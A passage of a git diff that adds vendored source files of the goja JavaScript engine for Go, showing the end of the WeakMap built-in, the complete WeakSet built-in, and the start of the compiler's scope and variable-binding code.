_undefined + } + return res +} + +func (r *Runtime) weakMapProto_has(call FunctionCall) Value { + thisObj := r.toObject(call.This) + wmo, ok := thisObj.self.(*weakMapObject) + if !ok { + panic(r.NewTypeError("Method WeakMap.prototype.has called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + key, ok := call.Argument(0).(*Object) + if ok && wmo.m.has(key) { + return valueTrue + } + return valueFalse +} + +func (r *Runtime) weakMapProto_set(call FunctionCall) Value { + thisObj := r.toObject(call.This) + wmo, ok := thisObj.self.(*weakMapObject) + if !ok { + panic(r.NewTypeError("Method WeakMap.prototype.set called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + key := r.toObject(call.Argument(0)) + wmo.m.set(key, call.Argument(1)) + return call.This +} + +func (r *Runtime) needNew(name string) *Object { + return r.NewTypeError("Constructor %s requires 'new'", name) +} + +func (r *Runtime) builtin_newWeakMap(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("WeakMap")) + } + proto := r.getPrototypeFromCtor(newTarget, r.global.WeakMap, r.global.WeakMapPrototype) + o := &Object{runtime: r} + + wmo := &weakMapObject{} + wmo.class = classObject + wmo.val = o + wmo.extensible = true + o.self = wmo + wmo.prototype = proto + wmo.init() + if len(args) > 0 { + if arg := args[0]; arg != nil && arg != _undefined && arg != _null { + adder := wmo.getStr("set", nil) + adderFn := toMethod(adder) + if adderFn == nil { + panic(r.NewTypeError("WeakMap.set in missing")) + } + iter := r.getIterator(arg, nil) + i0 := valueInt(0) + i1 := valueInt(1) + if adder == r.global.weakMapAdder { + iter.iterate(func(item Value) { + itemObj := r.toObject(item) + k := itemObj.self.getIdx(i0, nil) + v := nilSafe(itemObj.self.getIdx(i1, nil)) + wmo.m.set(r.toObject(k), v) + }) + } else { + iter.iterate(func(item Value) { + itemObj := r.toObject(item) + k := itemObj.self.getIdx(i0, nil) + v := itemObj.self.getIdx(i1, nil) + adderFn(FunctionCall{This: o, Arguments: []Value{k, v}}) + }) + } + } + } + return o +} + +func (r *Runtime) createWeakMapProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + + o._putProp("constructor", r.getWeakMap(), true, false, true) + r.global.weakMapAdder = r.newNativeFunc(r.weakMapProto_set, "set", 2) + o._putProp("set", r.global.weakMapAdder, true, false, true) + o._putProp("delete", r.newNativeFunc(r.weakMapProto_delete, "delete", 1), true, false, true) + o._putProp("has", r.newNativeFunc(r.weakMapProto_has, "has", 1), true, false, true) + o._putProp("get", r.newNativeFunc(r.weakMapProto_get, "get", 1), true, false, true) + + o._putSym(SymToStringTag, valueProp(asciiString(classWeakMap), false, false, true)) + + return o +} + +func (r *Runtime) createWeakMap(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.builtin_newWeakMap, r.getWeakMapPrototype(), "WeakMap", 0) + + return o +} + +func (r *Runtime) getWeakMapPrototype() *Object { + ret := r.global.WeakMapPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.WeakMapPrototype = ret + ret.self = r.createWeakMapProto(ret) + } + return ret +} + +func (r *Runtime) getWeakMap() *Object { + ret := r.global.WeakMap + if ret == nil { + ret = &Object{runtime: r} + r.global.WeakMap = ret + ret.self = r.createWeakMap(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_weakset.go b/backend/vendor/github.com/dop251/goja/builtin_weakset.go new file mode 100644 index 0000000..cd8183e --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_weakset.go @@ -0,0 +1,135 @@ +package goja + +type weakSetObject struct { + baseObject + s weakMap +} + +func (ws *weakSetObject) init() { + ws.baseObject.init() + ws.s = weakMap(ws.val.runtime.genId()) +} + +func (r *Runtime) weakSetProto_add(call FunctionCall) Value { + thisObj := r.toObject(call.This) + wso, ok := thisObj.self.(*weakSetObject) + if !ok { + panic(r.NewTypeError("Method WeakSet.prototype.add called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + wso.s.set(r.toObject(call.Argument(0)), nil) + return call.This +} + +func (r *Runtime) weakSetProto_delete(call FunctionCall) Value { + thisObj := r.toObject(call.This) + wso, ok := thisObj.self.(*weakSetObject) + if !ok { + panic(r.NewTypeError("Method WeakSet.prototype.delete called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + obj, ok := call.Argument(0).(*Object) + if ok && wso.s.remove(obj) { + return valueTrue + } + return valueFalse +} + +func (r *Runtime) weakSetProto_has(call FunctionCall) Value { + thisObj := r.toObject(call.This) + wso, ok := thisObj.self.(*weakSetObject) + if !ok { + panic(r.NewTypeError("Method WeakSet.prototype.has called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + obj, ok := call.Argument(0).(*Object) + if ok && wso.s.has(obj) { + return valueTrue + } + return valueFalse +} + +func (r *Runtime) builtin_newWeakSet(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("WeakSet")) + } + proto := r.getPrototypeFromCtor(newTarget, r.global.WeakSet, r.global.WeakSetPrototype) + o := &Object{runtime: r} + + wso := &weakSetObject{} + wso.class = classObject + wso.val = o + wso.extensible = true + o.self = wso + wso.prototype = proto + wso.init() + if len(args) > 0 { + if arg := args[0]; arg != nil && arg != _undefined && arg != _null { + adder := wso.getStr("add", nil) + stdArr := r.checkStdArrayIter(arg) + if adder == r.global.weakSetAdder { + if stdArr != nil { + for _, v := range stdArr.values { + wso.s.set(r.toObject(v), nil) + } + } else { + r.getIterator(arg, nil).iterate(func(item Value) { + wso.s.set(r.toObject(item), nil) + }) + } + } else { + adderFn := toMethod(adder) + if adderFn == nil { + panic(r.NewTypeError("WeakSet.add in missing")) + } + if stdArr != nil { + for _, item := range stdArr.values { + adderFn(FunctionCall{This: o, Arguments: []Value{item}}) + } + } else { + r.getIterator(arg, nil).iterate(func(item Value) { + adderFn(FunctionCall{This: o, Arguments: []Value{item}}) + }) + } + } + } + } + return o +} + +func (r *Runtime) createWeakSetProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + + o._putProp("constructor", r.global.WeakSet, true, false, true) + r.global.weakSetAdder = r.newNativeFunc(r.weakSetProto_add, "add", 1) + o._putProp("add", r.global.weakSetAdder, true, false, true) + o._putProp("delete", r.newNativeFunc(r.weakSetProto_delete, "delete", 1), true, false, true) + o._putProp("has", r.newNativeFunc(r.weakSetProto_has, "has", 1), true, false, true) + + o._putSym(SymToStringTag, valueProp(asciiString(classWeakSet), false, false, true)) + + return o +} + +func (r *Runtime) createWeakSet(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.builtin_newWeakSet, r.getWeakSetPrototype(), "WeakSet", 0) + + return o +} + +func (r *Runtime) getWeakSetPrototype() *Object { + ret := r.global.WeakSetPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.WeakSetPrototype = ret + ret.self = r.createWeakSetProto(ret) + } + return ret +} + +func (r *Runtime) getWeakSet() *Object { + ret := r.global.WeakSet + if ret == nil { + ret = &Object{runtime: r} + r.global.WeakSet = ret + ret.self = r.createWeakSet(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/compiler.go b/backend/vendor/github.com/dop251/goja/compiler.go new file mode 100644 index 0000000..8ef8425 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/compiler.go @@ -0,0 +1,1487 @@ +package goja + +import ( + "fmt" + "github.com/dop251/goja/token" + "sort" + + "github.com/dop251/goja/ast" + "github.com/dop251/goja/file" + "github.com/dop251/goja/unistring" +) + +type blockType int + +const ( + blockLoop blockType = iota + blockLoopEnum + blockTry + blockLabel + blockSwitch + blockWith + blockScope + blockIterScope + blockOptChain +) + +const ( + maskConst = 1 << 31 + maskVar = 1 << 30 + maskDeletable = 1 << 29 + maskStrict = maskDeletable + + maskTyp = maskConst | maskVar | maskDeletable +) + +type varType byte + +const ( + varTypeVar varType = iota + varTypeLet + varTypeStrictConst + varTypeConst +) + +const thisBindingName = " this" // must not be a valid identifier + +type CompilerError struct { + Message string + File *file.File + Offset int +} + +type CompilerSyntaxError struct { + CompilerError +} + +type CompilerReferenceError struct { + CompilerError +} + +type srcMapItem struct { + pc int + srcPos int +} + +// Program is an internal, compiled representation of code which is produced by the Compile function. +// This representation is not linked to a runtime in any way and can be used concurrently. +// It is always preferable to use a Program over a string when running code as it skips the compilation step. +type Program struct { + code []instruction + + funcName unistring.String + src *file.File + srcMap []srcMapItem +} + +type compiler struct { + p *Program + scope *scope + block *block + + classScope *classScope + + enumGetExpr compiledEnumGetExpr + + evalVM *vm // VM used to evaluate constant expressions + ctxVM *vm // VM in which an eval() code is compiled + + codeScratchpad []instruction + + stringCache map[unistring.String]Value +} + +type binding struct { + scope *scope + name unistring.String + accessPoints map[*scope]*[]int + isConst bool + isStrict bool + isArg bool + isVar bool + inStash bool +} + +func (b *binding) getAccessPointsForScope(s *scope) *[]int { + m := b.accessPoints[s] + if m == nil { + a := make([]int, 0, 1) + m = &a + if b.accessPoints == nil { + b.accessPoints = make(map[*scope]*[]int) + } + b.accessPoints[s] = m + } + return m +} + +func (b *binding) markAccessPointAt(pos int) { + scope := b.scope.c.scope + m := b.getAccessPointsForScope(scope) + *m = append(*m, pos-scope.base) +} + +func (b *binding) markAccessPointAtScope(scope *scope, pos int) { + m := b.getAccessPointsForScope(scope) + *m = append(*m, pos-scope.base) +} + +func (b *binding) markAccessPoint() { + scope := b.scope.c.scope + m := b.getAccessPointsForScope(scope) + *m = append(*m, len(scope.prg.code)-scope.base) +} + +func (b *binding) emitGet() { + b.markAccessPoint() + if b.isVar && !b.isArg { + b.scope.c.emit(loadStack(0)) + } else { + b.scope.c.emit(loadStackLex(0)) + } +} + +func (b *binding) emitGetAt(pos int) { + b.markAccessPointAt(pos) + if b.isVar && !b.isArg { + b.scope.c.p.code[pos] = loadStack(0) + } else { + b.scope.c.p.code[pos] = loadStackLex(0) + } +} + +func (b *binding) emitGetP() { + if b.isVar && !b.isArg { + // no-op + } else { + // make sure TDZ is checked + b.markAccessPoint() + b.scope.c.emit(loadStackLex(0), pop) + } +} + +func (b *binding) emitSet() { + if b.isConst { + if b.isStrict || b.scope.c.scope.strict { + b.scope.c.emit(throwAssignToConst) + } + return + } + b.markAccessPoint() + if b.isVar && !b.isArg { + b.scope.c.emit(storeStack(0)) + } else { + b.scope.c.emit(storeStackLex(0)) + } +} + +func (b *binding) emitSetP() { + if b.isConst { + if b.isStrict || b.scope.c.scope.strict { + b.scope.c.emit(throwAssignToConst) + } + return + } + b.markAccessPoint() + if b.isVar && !b.isArg { + b.scope.c.emit(storeStackP(0)) + } else { + b.scope.c.emit(storeStackLexP(0)) + } +} + +func (b *binding) emitInitP() { + if !b.isVar && b.scope.outer == nil { + b.scope.c.emit(initGlobalP(b.name)) + } else { + b.markAccessPoint() + b.scope.c.emit(initStackP(0)) + } +} + +func (b *binding) emitInit() { + if !b.isVar && b.scope.outer == nil { + b.scope.c.emit(initGlobal(b.name)) + } else { + b.markAccessPoint() + b.scope.c.emit(initStack(0)) + } +} + +func (b *binding) emitInitAt(pos int) { + if !b.isVar && b.scope.outer == nil { + b.scope.c.p.code[pos] = initGlobal(b.name) + } else { + b.markAccessPointAt(pos) + b.scope.c.p.code[pos] = initStack(0) + } +} + +func (b *binding) emitInitAtScope(scope *scope, pos int) { + if !b.isVar && scope.outer == nil { + scope.c.p.code[pos] = initGlobal(b.name) + } else { + b.markAccessPointAtScope(scope, pos) + scope.c.p.code[pos] = initStack(0) + } +} + +func (b *binding) emitInitPAtScope(scope *scope, pos int) { + if !b.isVar && scope.outer == nil { + scope.c.p.code[pos] = initGlobalP(b.name) + } else { + b.markAccessPointAtScope(scope, pos) + scope.c.p.code[pos] = initStackP(0) + } +} + +func (b *binding) emitGetVar(callee bool) { + b.markAccessPoint() + if b.isVar && !b.isArg { + b.scope.c.emit(&loadMixed{name: b.name, callee: callee}) + } else { + b.scope.c.emit(&loadMixedLex{name: b.name, callee: callee}) + } +} + +func (b *binding) emitResolveVar(strict bool) { + b.markAccessPoint() + if b.isVar && !b.isArg { + b.scope.c.emit(&resolveMixed{name: b.name, strict: strict, typ: varTypeVar}) + } else { + var typ varType + if b.isConst { + if b.isStrict { + typ = varTypeStrictConst + } else { + typ = varTypeConst + } + } else { + typ = varTypeLet + } + b.scope.c.emit(&resolveMixed{name: b.name, strict: strict, typ: typ}) + } +} + +func (b *binding) moveToStash() { + if b.isArg && !b.scope.argsInStash { + b.scope.moveArgsToStash() + } else { + b.inStash = true + b.scope.needStash = true + } +} + +func (b *binding) useCount() (count int) { + for _, a := range b.accessPoints { + count += len(*a) + } + return +} + +type scope struct { + c *compiler + prg *Program + outer *scope + nested []*scope + boundNames map[unistring.String]*binding + bindings []*binding + base int + numArgs int + + // function type. If not funcNone, this is a function or a top-level lexical environment + funcType funcType + + // in strict mode + strict bool + // eval top-level scope + eval bool + // at least one inner scope has direct eval() which can lookup names dynamically (by name) + dynLookup bool + // at least one binding has been marked for placement in stash + needStash bool + + // is a variable environment, i.e. the target for dynamically created var bindings + variable bool + // a function scope that has at least one direct eval() and non-strict, so the variables can be added dynamically + dynamic bool + // arguments have been marked for placement in stash (functions only) + argsInStash bool + // need 'arguments' object (functions only) + argsNeeded bool +} + +type block struct { + typ blockType + label unistring.String + cont int + breaks []int + conts []int + outer *block + breaking *block // set when the 'finally' block is an empty break statement sequence + needResult bool +} + +func (c *compiler) leaveScopeBlock(enter *enterBlock) { + c.updateEnterBlock(enter) + leave := &leaveBlock{ + stackSize: enter.stackSize, + popStash: enter.stashSize > 0, + } + c.emit(leave) + for _, pc := range c.block.breaks { + c.p.code[pc] = leave + } + c.block.breaks = nil + c.leaveBlock() +} + +func (c *compiler) leaveBlock() { + lbl := len(c.p.code) + for _, item := range c.block.breaks { + c.p.code[item] = jump(lbl - item) + } + if t := c.block.typ; t == blockLoop || t == blockLoopEnum { + for _, item := range c.block.conts { + c.p.code[item] = jump(c.block.cont - item) + } + } + c.block = c.block.outer +} + +func (e *CompilerSyntaxError) Error() string { + if e.File != nil { + return fmt.Sprintf("SyntaxError: %s at %s", e.Message, e.File.Position(e.Offset)) + } + return fmt.Sprintf("SyntaxError: %s", e.Message) +} + +func (e *CompilerReferenceError) Error() string { + return fmt.Sprintf("ReferenceError: %s", e.Message) +} + +func (c *compiler) newScope() { + strict := false + if c.scope != nil { + strict = c.scope.strict + } + c.scope = &scope{ + c: c, + prg: c.p, + outer: c.scope, + strict: strict, + } +} + +func (c *compiler) newBlockScope() { + c.newScope() + if outer := c.scope.outer; outer != nil { + outer.nested = append(outer.nested, c.scope) + } + c.scope.base = len(c.p.code) +} + +func (c *compiler) popScope() { + c.scope = c.scope.outer +} + +func (c *compiler) emitLiteralString(s String) { + key := s.string() + if c.stringCache == nil { + c.stringCache = make(map[unistring.String]Value) + } + internVal := c.stringCache[key] + if internVal == nil { + c.stringCache[key] = s + internVal = s + } + + c.emit(loadVal{internVal}) +} + +func (c *compiler) emitLiteralValue(v Value) { + if s, ok := v.(String); ok { + c.emitLiteralString(s) + return + } + + c.emit(loadVal{v}) +} + +func newCompiler() *compiler { + c := &compiler{ + p: &Program{}, + } + + c.enumGetExpr.init(c, file.Idx(0)) + + return c +} + +func (p *Program) dumpCode(logger func(format string, args ...interface{})) { + p._dumpCode("", logger) +} + +func (p *Program) _dumpCode(indent string, logger func(format string, args ...interface{})) { + dumpInitFields := func(initFields *Program) { + i := indent + ">" + logger("%s ---- init_fields:", i) + initFields._dumpCode(i, logger) + logger("%s ----", i) + } + for pc, ins := range p.code { + logger("%s %d: %T(%v)", indent, pc, ins, ins) + var prg *Program + switch f := ins.(type) { + case newFuncInstruction: + prg = f.getPrg() + case *newDerivedClass: + if f.initFields != nil { + dumpInitFields(f.initFields) + } + prg = f.ctor + case *newClass: + if f.initFields != nil { + dumpInitFields(f.initFields) + } + prg = f.ctor + case *newStaticFieldInit: + if f.initFields != nil { + dumpInitFields(f.initFields) + } + } + if prg != nil { + prg._dumpCode(indent+">", logger) + } + } +} + +func (p *Program) sourceOffset(pc int) int { + i := sort.Search(len(p.srcMap), func(idx int) bool { + return p.srcMap[idx].pc > pc + }) - 1 + if i >= 0 { + return p.srcMap[i].srcPos + } + + return 0 +} + +func (p *Program) addSrcMap(srcPos int) { + if len(p.srcMap) > 0 && p.srcMap[len(p.srcMap)-1].srcPos == srcPos { + return + } + p.srcMap = append(p.srcMap, srcMapItem{pc: len(p.code), srcPos: srcPos}) +} + +func (s *scope) lookupName(name unistring.String) (binding *binding, noDynamics bool) { + noDynamics = true + toStash := false + for curScope := s; ; curScope = curScope.outer { + if curScope.outer != nil { + if b, exists := curScope.boundNames[name]; exists { + if toStash && !b.inStash { + b.moveToStash() + } + binding = b + return + } + } else { + noDynamics = false + return + } + if curScope.dynamic { + noDynamics = false + } + if name == "arguments" && curScope.funcType != funcNone && curScope.funcType != funcArrow { + if curScope.funcType == funcClsInit { + s.c.throwSyntaxError(0, "'arguments' is not allowed in class field initializer or static initialization block") + } + curScope.argsNeeded = true + binding, _ = curScope.bindName(name) + return + } + if curScope.isFunction() { + toStash = true + } + } +} + +func (s *scope) lookupThis() (*binding, bool) { + toStash := false + for curScope := s; curScope != nil; curScope = curScope.outer { + if curScope.outer == nil { + if curScope.eval { + return nil, true + } + } + if b, exists := curScope.boundNames[thisBindingName]; exists { + if toStash && !b.inStash { + b.moveToStash() + } + return b, false + } + if curScope.isFunction() { + toStash = true + } + } + return nil, false +} + +func (s *scope) ensureBoundNamesCreated() { + if s.boundNames == nil { + s.boundNames = make(map[unistring.String]*binding) + } +} + +func (s *scope) addBinding(offset int) *binding { + if len(s.bindings) >= (1<<24)-1 { + s.c.throwSyntaxError(offset, "Too many variables") + } + b := &binding{ + scope: s, + } + s.bindings = append(s.bindings, b) + return b +} + +func (s *scope) bindNameLexical(name unistring.String, unique bool, offset int) (*binding, bool) { + if b := s.boundNames[name]; b != nil { + if unique { + s.c.throwSyntaxError(offset, "Identifier '%s' has already been declared", name) + } + return b, false + } + b := s.addBinding(offset) + b.name = name + s.ensureBoundNamesCreated() + s.boundNames[name] = b + return b, true +} + +func (s *scope) createThisBinding() *binding { + thisBinding, _ := s.bindNameLexical(thisBindingName, false, 0) + thisBinding.isVar = true // don't check on load + return thisBinding +} + +func (s *scope) bindName(name unistring.String) (*binding, bool) { + if !s.isFunction() && !s.variable && s.outer != nil { + return s.outer.bindName(name) + } + b, created := s.bindNameLexical(name, false, 0) + if created { + b.isVar = true + } + return b, created +} + +func (s *scope) bindNameShadow(name unistring.String) (*binding, bool) { + if !s.isFunction() && s.outer != nil { + return s.outer.bindNameShadow(name) + } + + _, exists := s.boundNames[name] + b := &binding{ + scope: s, + name: name, + } + s.bindings = append(s.bindings, b) + s.ensureBoundNamesCreated() + s.boundNames[name] = b + return b, !exists +} + +func (s *scope) nearestFunction() *scope { + for sc := s; sc != nil; sc = sc.outer { + if sc.isFunction() { + return sc + } + } + return nil +} + +func (s *scope) nearestThis() *scope { + for sc := s; sc != nil; sc = sc.outer { + if sc.eval || sc.isFunction() && sc.funcType != funcArrow { + return sc + } + } + return nil +} + +func (s *scope) finaliseVarAlloc(stackOffset int) (stashSize, stackSize int) { + argsInStash := false + if f := s.nearestFunction(); f != nil { + argsInStash = f.argsInStash + } + stackIdx, stashIdx := 0, 0 + allInStash := s.isDynamic() + var derivedCtor bool + if fs := s.nearestThis(); fs != nil && fs.funcType == funcDerivedCtor { + derivedCtor = true + } + for i, b := range s.bindings { + var this bool + if b.name == thisBindingName { + this = true + } + if allInStash || b.inStash { + for scope, aps := range b.accessPoints { + var level uint32 + for sc := scope; sc != nil && sc != s; sc = sc.outer { + if sc.needStash || sc.isDynamic() { + level++ + } + } + if level > 255 { + s.c.throwSyntaxError(0, "Maximum nesting level (256) exceeded") + } + idx := (level << 24) | uint32(stashIdx) + base := scope.base + code := scope.prg.code + if this { + if derivedCtor { + for _, pc := range *aps { + ap := &code[base+pc] + switch (*ap).(type) { + case loadStack: + *ap = loadThisStash(idx) + case initStack: + *ap = initStash(idx) + case initStackP: + *ap = initStashP(idx) + case resolveThisStack: + *ap = resolveThisStash(idx) + case _ret: + *ap = cret(idx) + default: + s.c.assert(false, s.c.p.sourceOffset(pc), "Unsupported instruction for 'this'") + } + } + } else { + for _, pc := range *aps { + ap := &code[base+pc] + switch (*ap).(type) { + case loadStack: + *ap = loadStash(idx) + case initStack: + *ap = initStash(idx) + case initStackP: + *ap = initStashP(idx) + default: + s.c.assert(false, s.c.p.sourceOffset(pc), "Unsupported instruction for 'this'") + } + } + } + } else { + for _, pc := range *aps { + ap := &code[base+pc] + switch i := (*ap).(type) { + case loadStack: + *ap = loadStash(idx) + case storeStack: + *ap = storeStash(idx) + case storeStackP: + *ap = storeStashP(idx) + case loadStackLex: + *ap = loadStashLex(idx) + case storeStackLex: + *ap = storeStashLex(idx) + case storeStackLexP: + *ap = storeStashLexP(idx) + case initStackP: + *ap = initStashP(idx) + case initStack: + *ap = initStash(idx) + case *loadMixed: + i.idx = idx + case *loadMixedLex: + i.idx = idx + case *resolveMixed: + i.idx = idx + default: + s.c.assert(false, s.c.p.sourceOffset(pc), "Unsupported instruction for binding: %T", i) + } + } + } + } + stashIdx++ + } else { + var idx int + if !this { + if i < s.numArgs { + idx = -(i + 1) + } else { + stackIdx++ + idx = stackIdx + stackOffset + } + } + for scope, aps := range b.accessPoints { + var level int + for sc := scope; sc != nil && sc != s; sc = sc.outer { + if sc.needStash || sc.isDynamic() { + level++ + } + } + if level > 255 { + s.c.throwSyntaxError(0, "Maximum nesting level (256) exceeded") + } + code := scope.prg.code + base := scope.base + if this { + if derivedCtor { + for _, pc := range *aps { + ap := &code[base+pc] + switch (*ap).(type) { + case loadStack: + *ap = loadThisStack{} + case initStack: + // no-op + case initStackP: + // no-op + case resolveThisStack: + // no-op + case _ret: + // no-op, already in the right place + default: + s.c.assert(false, s.c.p.sourceOffset(pc), "Unsupported instruction for 'this'") + } + } + } /*else { + no-op + }*/ + } else if argsInStash { + for _, pc := range *aps { + ap := &code[base+pc] + switch i := (*ap).(type) { + case loadStack: + *ap = loadStack1(idx) + case storeStack: + *ap = storeStack1(idx) + case storeStackP: + *ap = storeStack1P(idx) + case loadStackLex: + *ap = loadStack1Lex(idx) + case storeStackLex: + *ap = storeStack1Lex(idx) + case storeStackLexP: + *ap = storeStack1LexP(idx) + case initStackP: + *ap = initStack1P(idx) + case initStack: + *ap = initStack1(idx) + case *loadMixed: + *ap = &loadMixedStack1{name: i.name, idx: idx, level: uint8(level), callee: i.callee} + case *loadMixedLex: + *ap = &loadMixedStack1Lex{name: i.name, idx: idx, level: uint8(level), callee: i.callee} + case *resolveMixed: + *ap = &resolveMixedStack1{typ: i.typ, name: i.name, idx: idx, level: uint8(level), strict: i.strict} + default: + s.c.assert(false, s.c.p.sourceOffset(pc), "Unsupported instruction for binding: %T", i) + } + } + } else { + for _, pc := range *aps { + ap := &code[base+pc] + switch i := (*ap).(type) { + case loadStack: + *ap = loadStack(idx) + case storeStack: + *ap = storeStack(idx) + case storeStackP: + *ap = storeStackP(idx) + case loadStackLex: + *ap = loadStackLex(idx) + case storeStackLex: + *ap = storeStackLex(idx) + case storeStackLexP: + *ap = storeStackLexP(idx) + case initStack: + *ap = initStack(idx) + case initStackP: + *ap = initStackP(idx) + case *loadMixed: + *ap = &loadMixedStack{name: i.name, idx: idx, level: uint8(level), callee: i.callee} + case *loadMixedLex: + *ap = &loadMixedStackLex{name: i.name, idx: idx, level: uint8(level), callee: i.callee} + case *resolveMixed: + *ap = &resolveMixedStack{typ: i.typ, name: i.name, idx: idx, level: uint8(level), strict: i.strict} + default: + s.c.assert(false, s.c.p.sourceOffset(pc), "Unsupported instruction for binding: %T", i) + } + } + } + } + } + } + for _, nested := range s.nested { + nested.finaliseVarAlloc(stackIdx + stackOffset) + } + return stashIdx, stackIdx +} + +func (s *scope) moveArgsToStash() { + for _, b := range s.bindings { + if !b.isArg { + break + } + b.inStash = true + } + s.argsInStash = true + s.needStash = true +} + +func (c *compiler) trimCode(delta int) { + src := c.p.code[delta:] + newCode := make([]instruction, len(src)) + copy(newCode, src) + if cap(c.codeScratchpad) < cap(c.p.code) { + c.codeScratchpad = c.p.code[:0] + } + c.p.code = newCode +} + +func (s *scope) trimCode(delta int) { + s.c.trimCode(delta) + if delta != 0 { + srcMap := s.c.p.srcMap + for i := range srcMap { + srcMap[i].pc -= delta + } + s.adjustBase(-delta) + } +} + +func (s *scope) adjustBase(delta int) { + s.base += delta + for _, nested := range s.nested { + nested.adjustBase(delta) + } +} + +func (s *scope) makeNamesMap() map[unistring.String]uint32 { + l := len(s.bindings) + if l == 0 { + return nil + } + names := make(map[unistring.String]uint32, l) + for i, b := range s.bindings { + idx := uint32(i) + if b.isConst { + idx |= maskConst + if b.isStrict { + idx |= maskStrict + } + } + if b.isVar { + idx |= maskVar + } + names[b.name] = idx + } + return names +} + +func (s *scope) isDynamic() bool { + return s.dynLookup || s.dynamic +} + +func (s *scope) isFunction() bool { + return s.funcType != funcNone && !s.eval +} + +func (s *scope) deleteBinding(b *binding) { + idx := 0 + for i, bb := range s.bindings { + if bb == b { + idx = i + goto found + } + } + return +found: + delete(s.boundNames, b.name) + copy(s.bindings[idx:], s.bindings[idx+1:]) + l := len(s.bindings) - 1 + s.bindings[l] = nil + s.bindings = s.bindings[:l] +} + +func (c *compiler) compile(in *ast.Program, strict, inGlobal bool, evalVm *vm) { + c.ctxVM = evalVm + + eval := evalVm != nil + c.p.src = in.File + c.newScope() + scope := c.scope + scope.dynamic = true + scope.eval = eval + if !strict && len(in.Body) > 0 { + strict = c.isStrict(in.Body) != nil + } + scope.strict = strict + ownVarScope := eval && strict + ownLexScope := !inGlobal || eval + if ownVarScope { + c.newBlockScope() + scope = c.scope + scope.variable = true + } + if eval && !inGlobal { + for s := evalVm.stash; s != nil; s = s.outer { + if ft := s.funcType; ft != funcNone && ft != funcArrow { + scope.funcType = ft + break + } + } + } + funcs := c.extractFunctions(in.Body) + c.createFunctionBindings(funcs) + numFuncs := len(scope.bindings) + if inGlobal && !ownVarScope { + if numFuncs == len(funcs) { + c.compileFunctionsGlobalAllUnique(funcs) + } else { + c.compileFunctionsGlobal(funcs) + } + } + c.compileDeclList(in.DeclarationList, false) + numVars := len(scope.bindings) - numFuncs + vars := make([]unistring.String, len(scope.bindings)) + for i, b := range scope.bindings { + vars[i] = b.name + } + if len(vars) > 0 && !ownVarScope && ownLexScope { + if inGlobal { + c.emit(&bindGlobal{ + vars: vars[numFuncs:], + funcs: vars[:numFuncs], + deletable: eval, + }) + } else { + c.emit(&bindVars{names: vars, deletable: eval}) + } + } + var enter *enterBlock + if c.compileLexicalDeclarations(in.Body, ownVarScope || !ownLexScope) { + if ownLexScope { + c.block = &block{ + outer: c.block, + typ: blockScope, + needResult: true, + } + enter = &enterBlock{} + c.emit(enter) + } + } + if len(scope.bindings) > 0 && !ownLexScope { + var lets, consts []unistring.String + for _, b := range c.scope.bindings[numFuncs+numVars:] { + if b.isConst { + consts = append(consts, b.name) + } else { + lets = append(lets, b.name) + } + } + c.emit(&bindGlobal{ + vars: vars[numFuncs:], + funcs: vars[:numFuncs], + lets: lets, + consts: consts, + }) + } + if !inGlobal || ownVarScope { + c.compileFunctions(funcs) + } + c.compileStatements(in.Body, true) + if enter != nil { + c.leaveScopeBlock(enter) + c.popScope() + } + + scope.finaliseVarAlloc(0) + c.stringCache = nil +} + +func (c *compiler) compileDeclList(v []*ast.VariableDeclaration, inFunc bool) { + for _, value := range v { + c.createVarBindings(value, inFunc) + } +} + +func (c *compiler) extractLabelled(st ast.Statement) ast.Statement { + if st, ok := st.(*ast.LabelledStatement); ok { + return c.extractLabelled(st.Statement) + } + return st +} + +func (c *compiler) extractFunctions(list []ast.Statement) (funcs []*ast.FunctionDeclaration) { + for _, st := range list { + var decl *ast.FunctionDeclaration + switch st := c.extractLabelled(st).(type) { + case *ast.FunctionDeclaration: + decl = st + case *ast.LabelledStatement: + if st1, ok := st.Statement.(*ast.FunctionDeclaration); ok { + decl = st1 + } else { + continue + } + default: + continue + } + funcs = append(funcs, decl) + } + return +} + +func (c *compiler) createFunctionBindings(funcs []*ast.FunctionDeclaration) { + s := c.scope + if s.outer != nil { + unique := !s.isFunction() && !s.variable && s.strict + if !unique { + hasNonStandard := false + for _, decl := range funcs { + if !decl.Function.Async && !decl.Function.Generator { + s.bindNameLexical(decl.Function.Name.Name, false, int(decl.Function.Name.Idx1())-1) + } else { + hasNonStandard = true + } + } + if hasNonStandard { + for _, decl := range funcs { + if decl.Function.Async || decl.Function.Generator { + s.bindNameLexical(decl.Function.Name.Name, true, int(decl.Function.Name.Idx1())-1) + } + } + } + } else { + for _, decl := range funcs { + s.bindNameLexical(decl.Function.Name.Name, true, int(decl.Function.Name.Idx1())-1) + } + } + } else { + for _, decl := range funcs { + s.bindName(decl.Function.Name.Name) + } + } +} + +func (c *compiler) compileFunctions(list []*ast.FunctionDeclaration) { + for _, decl := range list { + c.compileFunction(decl) + } +} + +func (c *compiler) compileFunctionsGlobalAllUnique(list []*ast.FunctionDeclaration) { + for _, decl := range list { + c.compileFunctionLiteral(decl.Function, false).emitGetter(true) + } +} + +func (c *compiler) compileFunctionsGlobal(list []*ast.FunctionDeclaration) { + m := make(map[unistring.String]int, len(list)) + for i := len(list) - 1; i >= 0; i-- { + name := list[i].Function.Name.Name + if _, exists := m[name]; !exists { + m[name] = i + } + } + idx := 0 + for i, decl := range list { + name := decl.Function.Name.Name + if m[name] == i { + c.compileFunctionLiteral(decl.Function, false).emitGetter(true) + c.scope.bindings[idx] = c.scope.boundNames[name] + 